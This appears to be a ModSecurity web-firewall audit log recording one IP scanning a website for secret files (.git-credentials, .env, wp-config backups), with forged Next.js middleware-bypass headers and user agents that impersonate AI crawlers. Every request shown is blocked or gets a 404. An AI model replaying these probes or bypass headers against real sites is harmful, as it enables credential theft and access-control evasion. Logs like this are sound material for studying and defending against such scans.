Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735944378 105783 (- - -)
Stopwatch2: 1789287735944378 105783; combined=33590, p1=280, p2=33181, p3=0, p4=0, p5=128, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9dace405-Z--
--06076d15-A--
[13/Sep/2026:11:22:21.306036 +0300] aqZdPUwu1RSkptiiNIX26wAAAI0 34.80.249.255 60380 127.0.0.1 7081
--06076d15-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--06076d15-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--06076d15-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741202560 103566 (- - -)
Stopwatch2: 1789287741202560 103566; combined=38295, p1=259, p2=37973, p3=0, p4=0, p5=63, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--06076d15-Z--
--8b4cb45a-A--
[13/Sep/2026:11:22:21.322929 +0300] aqZdPWM7dE9KgIIOpQhx1gAAAMo 34.80.249.255 60392 127.0.0.1 7081
--8b4cb45a-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8b4cb45a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8b4cb45a-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqZdPWM7dE9KgIIOpQhx1gAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741218922 104075 (- - -)
Stopwatch2: 1789287741218922 104075; combined=4601, p1=211, p2=4331, p3=0, p4=0, p5=59, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b4cb45a-Z--
--b23c823c-A--
[13/Sep/2026:11:22:21.403217 +0300] aqZdPUwu1RSkptiiNIX27QAAAJM 34.80.249.255 60400 127.0.0.1 7081
--b23c823c-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b23c823c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b23c823c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZdPUwu1RSkptiiNIX27QAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZdPUwu1RSkptiiNIX27QAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741307526 95759 (- - -)
Stopwatch2: 1789287741307526 95759; combined=31555, p1=225, p2=31261, p3=0, p4=0, p5=69, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b23c823c-Z--
--985aea06-A--
[13/Sep/2026:11:22:21.518741 +0300] aqZdPWM7dE9KgIIOpQhx1wAAAME 34.80.249.255 60414 127.0.0.1 7081
--985aea06-B--
GET /.gitconfig HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--985aea06-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--985aea06-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqZdPWM7dE9KgIIOpQhx1wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqZdPWM7dE9KgIIOpQhx1wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741422755 96085 (- - -)
Stopwatch2: 1789287741422755 96085; combined=30746, p1=299, p2=30310, p3=0, p4=0, p5=137, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--985aea06-Z--
--ac93a436-A--
[13/Sep/2026:11:22:21.620005 +0300] aqZdPWM7dE9KgIIOpQhx2QAAAM0 34.80.249.255 60430 127.0.0.1 7081
--ac93a436-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ac93a436-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ac93a436-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdPWM7dE9KgIIOpQhx2QAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741539032 81029 (- - -)
Stopwatch2: 1789287741539032 81029; combined=5170, p1=257, p2=4860, p3=0, p4=0, p5=53, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ac93a436-Z--
--47f6b721-A--
[13/Sep/2026:11:22:21.839042 +0300] aqZdPUwu1RSkptiiNIX27wAAAJI 34.80.249.255 60460 127.0.0.1 7081
--47f6b721-B--
GET /.env.local HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--47f6b721-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--47f6b721-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdPUwu1RSkptiiNIX27wAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdPUwu1RSkptiiNIX27wAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741739713 99385 (- - -)
Stopwatch2: 1789287741739713 99385; combined=34009, p1=247, p2=33688, p3=0, p4=0, p5=74, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--47f6b721-Z--
--be8ee447-A--
[13/Sep/2026:11:22:21.918270 +0300] aqZdPWM7dE9KgIIOpQhx3AAAANU 34.80.249.255 60482 127.0.0.1 7081
--be8ee447-B--
GET /config/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--be8ee447-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--be8ee447-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env"] [unique_id "aqZdPWM7dE9KgIIOpQhx3AAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741850283 68053 (- - -)
Stopwatch2: 1789287741850283 68053; combined=4092, p1=222, p2=3825, p3=0, p4=0, p5=45, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--be8ee447-Z--
--373b8a2e-A--
[13/Sep/2026:11:22:22.259042 +0300] aqZdPmM7dE9KgIIOpQhx4QAAAMs 34.80.249.255 60542 127.0.0.1 7081
--373b8a2e-B--
GET /api/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--373b8a2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--373b8a2e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env"] [unique_id "aqZdPmM7dE9KgIIOpQhx4QAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742148391 110707 (- - -)
Stopwatch2: 1789287742148391 110707; combined=5851, p1=291, p2=5490, p3=0, p4=0, p5=70, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--373b8a2e-Z--
--47b89724-A--
[13/Sep/2026:11:22:22.359276 +0300] aqZdPmM7dE9KgIIOpQhx4wAAAMo 34.80.249.255 60558 127.0.0.1 7081
--47b89724-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1k0czze7jbdz7
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--47b89724-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--47b89724-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742277080 82275 (- - -)
Stopwatch2: 1789287742277080 82275; combined=6242, p1=267, p2=5671, p3=0, p4=0, p5=304, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--47b89724-Z--
--2924e324-A--
[13/Sep/2026:11:22:22.395218 +0300] aqZdPmM7dE9KgIIOpQhx5AAAANI 34.80.249.255 60562 127.0.0.1 7081
--2924e324-B--
POST /api HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 455
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s1k0czze7jbdz7
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--2924e324-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2924e324-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742330127 65199 (- - -)
Stopwatch2: 1789287742330127 65199; combined=5294, p1=269, p2=4735, p3=0, p4=0, p5=289, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2924e324-Z--
--5d53eb66-A--
[13/Sep/2026:11:22:22.712658 +0300] aqZdPmM7dE9KgIIOpQhx5QAAAMk 34.80.249.255 60576 127.0.0.1 7081
--5d53eb66-B--
POST /api/v1/validate/code HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Content-Type: application/json
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
Accept-Encoding: gzip
--5d53eb66-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5d53eb66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742649221 63490 (- - -)
